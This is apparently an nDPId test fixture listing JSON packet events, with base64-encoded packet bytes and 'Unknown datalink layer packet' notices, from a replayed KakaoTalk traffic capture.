+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285742,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABiZumAbDNMfrDJg1Sapdqu72Hw\/puqCWl1nrZwxNxaGufBENqO+F4Jkhfwg5GdTBwJUxZwiNwtoFNOaPPJxAP4yIMch6shdEhJVWFurXcrHPMTO3ZI3vNiBe\/d2Qo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285834,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJ8GqAbFDBi0FVGguGVRmOOvqnd0wYeGjSuzTui7htr9UfS1QeZE2hMr0qDrH\/5LqGl78BG8Gy0LXzA9lf99gx10FVJQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285926,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAHBH93wHJAa4KGFK8WgYoHACH7YaAbFDEi0FgWguGVRlJd1SH6P9p5U\/6aQvcxetxQg+ag4lLBFJmnjS19dRfRuxpvbe9J8i2jzJM2AloVApr8jRg4h+tf37M1UC\/4P0JvAz7mm+jKbnH1qZPzXV66lvx+7egygDwuM6phIoH7ZFrIxUrNLAR\/6UsWvrJNMbx\/i9q"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":286017,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMsAAEAAHBH9rwHJAa4KGFK8WgYoHAC3s\/6AbFDGi0Fn2guGVRm8rWeVVxTdu1JPIXEaObFA0Jg5uYdtSfcVUrBblicVKoSd9RpF8N6Nhj03P33BlRAgwK6rJTwpMf42mP0XC5WtiCvCOYFFaDxQF4Bx+oB6M8vcVH5vJaGHkZy+19ak2VwJNGxBRl7zD3Biv+mpQE0ly+yB+4AnggQrk5p8IYZtF5mdsPFL27Kve0JItLK1QeaIl3IdQjWhCOcgoTW1kcMzjh\/6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":299323,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHRH8\/wHJAa4KGFK8WgQsOABnuKCAbDNNfrDNQ1SapdpVeC6JK31KInBLd1F8N3zjKz3YsStHV9we5ibk0sGCmktt2qNjtJ0C0TWUmBmbe9Kb1FXQLbyxm4rNw9+\/5LGASnrnjs8AolDuYYE9rcimXqANrw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":309394,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJIRWAbFDdi0G+GguGVRmg8pZs8hRZQFrxOIxrYca\/jud3GVrN1cuWifEGoOpQ5ereFGzofJDcR7GIoptmURQbgWc3zA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":309546,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJIziAbFDei0HB2guGVRkHLiklZGmT7P1R\/vPZz+pHA5y7q1tDsPSv+4JQyppDFk6XL+HPMy5gmvyIR8OBM5EWe4UzUA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":325080,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ak2AbDNjfrEfw1SapdoRXohCYiOg2WoTOPHjK02\/OHEBZKALrjSvZyiDVoA8+Mbedm6GItZlPSAr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":351294,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMwAAEAAHBH9rgHJAa4KGFK8WgYoHAC4sCWAbFDHi0FrmguGVRn1Pf\/1AGQJwdmEsGYbRKCaCAKOyic\/leYniZZWM8bj8d\/oAHwyAwE6iYrgAG9VytrnePCSlI+NoKfeoKaJkH2asXZWsDYAVNepquMcHXJ+UwUHfi0gGaWhn4+TaNTastjIGudkNyNiF2OYptGxiG5xKH3zaLPOill9S4EkPkW+dsEMWBzgtWQ8VPKPx0nHv5W8DNhDYMmMVYp9q7RVyqdcKmggYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":359259,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAHBH9uAHJAa4KGFK8WgYoHACuu9mAbFDIi0FvWguGVRnjHMAbeQYQ9zU6+IYshvkaEKQarEMaGHBOFG91zERP+XwPnje6BqSXPn3nUETTEtCmgf2lTToWLmveeaPUA+Nr4rTDDQk0P1yklq9lo4F\/fIRgveDFqhXhIHKflDSHjV991JmzI1bjNt8o4ezk5r8j7qFH6Aqqa8B3TzMA9OK\/JZVpStbibKpOftAzvZy1D8AJbNsn9F8zE0w3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":361670,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/JLOAbDNkfrEjg1SapdqBtJxSNzubFVzv8TxC6C\/y4XES3vpgTTszV8CTjcGM3h6Ifj\/wbjAiwaYt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":372657,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHRH8+wHJAa4KGFK8WgQsOABrkaqAbDNOfrDRA1SapdrLz7J8fOKoGRex\/xKK0uuMtJ4g8A0l8M242rCu38cI69ut5SOcay4eOl2XP3eK6R38hGuLiRps+Hcis+ADYTix69dJvmzorGwRs0wMXIPNuhI6\/JdTQ3c="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":399268,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC1HfSAbFDJi0FzGguGVRm56mbE+9gQb3uo3Elcy3ajFau5oEkKF09casG0g\/px6gB7oWaayOe2eMsHo98ZHp5zHNQjUv5TKTgtrP42NEnNJqHfApUQvQBhOBY3cjMGdtnu+PFSA9BIirwDyGHEbSaWGQKJaPnXJEvZ3G+YTkMts9p+NS5fv2xzYwZp1EK2EggbDqb6CyEMGRCig38NRUGhZdtCKOcH91+75gmgVGyH8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":405280,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGu7mAbDNlfrEnQ1SapdqD0ZYdCbVu+\/l5dwS7FZCqcIM1UbgyRdUMwd1kn7RUp9gsH2DscogTGNMW6EhssG6nGQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":409644,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEE5iAbFDfi0HFmguGVRlnJjYXUzynwI+hX6ViijIkLmbKrLd7NrQk08bLpCRJh09oyaG6FiRcMvLtqge7hew="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":445075,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHBH9vAHJAa4KGFK8WgYoHACq5VCAbFDKi0F22guGVRkAS1bW2WfKe+JnawYtcMN1qPdeZqzeLDlGzt9Nh\/U+Fkg64QFBX9EsO8wjPJLH1HNbyNBkeROnfYDUCIFf1kjXFIpItmpjFBnE1hbHhnaNx2M9E8kmJ+MUi116ZJZcJM+YHGcXQ251RDVFzLfN61dLiMoZ\/\/UUsrcdk6xtZ1EFS9Bah658y+R0TmrsXtpLBiLnfdQxft0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":459326,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZSVmAbDNPfrDUw1SapdqtTfAqDsevweqHNUURnEXSo+lRly5zihUEEgqsAeMA1njykhdUpwXZaRJVairju4U2fYFMU2hNhPZR60rZwf5hNaJGb6I="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":467414,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfIo2AbDNQfrDYg1SapdrH49HX+oXJKXB18mnXhQpqOx\/UZlp9m\/UyfaUrUz12\/MueS6RkcMV92PAznlwnZeH3G8vhhZm3klaWFioMg\/c2LItnnrWq2KfBtUI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00649{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":489905,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO7n+EAAPwb4vgoYUrxuTI8ygMgfkPcR4RqSeOf7gBgA3cXIAAABAQgKAAtO+kTcBWYXAwEAIGdMIbdD5CiU7n+IrnS103KNJDD\/wEe4en3HJKDt9NTEFwMBAJCfy3j2sG5UWSuvx3U4EPUfOWGebWIjNfozzH8jKkMglZH\/\/TGXg4ANtICQ+uw3Ew5X+NmDx6K0KtLrGZzj8H\/31Wj\/wL+x1lJyWfKri1G23XihW709QvyRN6tITRpEOoDvFi+BoEc0eS4XhW1JNsgyGmOhVjQTaVHtWfZTQw7UgWXnpvDOiwGENWXudtKPSKo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":490088,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHBH99gHJAa4KGFK8WgYoHABwAySAbFDLi0F6mguGVRmgy7HRohhu2+TOHBMsotdWoE4A4IM297DcPMkGy6oBXn7G6wxtULXVtHDedhT+dTNMBhqSCh0r6KsjvcNrWp\/KnWqzLbXVeqGfqRwzZcxAM0SMsBQYVHf7oawmtQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":503760,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEZIqAbDNmfrErA1Sapdo0bVP7Qe9I7nh9lH+jaZpiRn30JcSoUTBa+ifI\/+zNLyumT0o8YDmEmaB0BhhjSyg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":509101,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDev2AbFDgi0HJWguGVRnxPczybYVkajLuQCt37tcXrq2Ecti8Kcmmg1VBi1kmZGpbO+xXD4fCenRIQ4IgGA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":509253,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABF3imAbFDhi0HNGguGVRm4wO9eeJ1E\/E4cA4vdoSpbGxK\/Wz7pGUviiGLMcRYEC1ffD82TJbtBAsZnB3tq3aaL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":509406,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABd3VSAbDNRfrDcQ1SapdpkV3Q43dPXz9btIKWL0Xsdh4HNCyUxUMfx3nF2CD3tl1nhoRVnPY9y80xQpwXsS8txDyCcyWaFh3tocjTBqhW7duO1fKTCI7lg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":543341,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABgkFKAbDNSfrDgA1SapdrWFbpGSmfPNBdBtV1bnd\/nU0DqQ7bEwC3bQ8fW+92NJfVHuzUEFXIUpdRJORoom63zrjRP8c19yaNZp5OVKszfkLvYHqVIcqE3hCBa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":543952,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGODeAbFDMi0F+WguGVRkGGWTvPLHaH7x0BSH+fNH89KudTaXlAEHh9u8k7Bm52tfIMfRldod\/pQBme8ihH7j7pg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":546851,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/xSKAbDNnfrEuw1SapdqRgsEGPm92Bco3JAn6jd2iKU9XPiMoQA2ixwN5BnL9D76g+0NKIfTFe2Et"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":547339,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIQmaAbFDNi0GCGguGVRlOuV5abANabMeEtdZJg6U0I+HAf\/M6DwyoPmy0+dx3Q7roI1+e7LLmh7eL8\/AJ201Cxf0f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":571753,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfsrWAbDNTfrDjw1SapdpvVg0\/+y9cRmLA7Wx+I91UpdvtoBJ1JYcvsM9XN5e4g+K6UOXugClzltthkeXqWVJPlyynC+2mmve0pqBQF7PbISPKEOR4gV3gpJU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":599372,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZNLyAbDNUfrDng1SapdpQTovQzg7MoVsRHhmCkBxP2WKodZzRauSeNSR3CT7YXxEui990I9vvQOXFJ\/G+u4i11p\/\/hPFmUpO+N1UnuRynY2O2dAg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":604499,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEtuOAbFDOi0GF2guGVRmURvDI1e8nqs+gDuLPjwfmyyGgofMI6SPx3mMpC1E8FDma9jwWB9F+lqF9m\/Y\/5EQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":608405,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJwAAEAAPxHbBgoYUrwByQGuLDhaBACIvmmAbFDii0HQ2guGVRkuv8+HQrXtrky6zwJE+VkZz9hpI3K3Ck37cwLlSDSGx0Joy4hn9OG0kr3la3pE4P9eGpuw9slrRDVGKwAvMJxcGhjiF6KF6cju3cDQ6WR7miJ1SWMHRtIo8FYDfHmqTJBIsFMhFojlRpF4rk3kPrP7jrESiQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 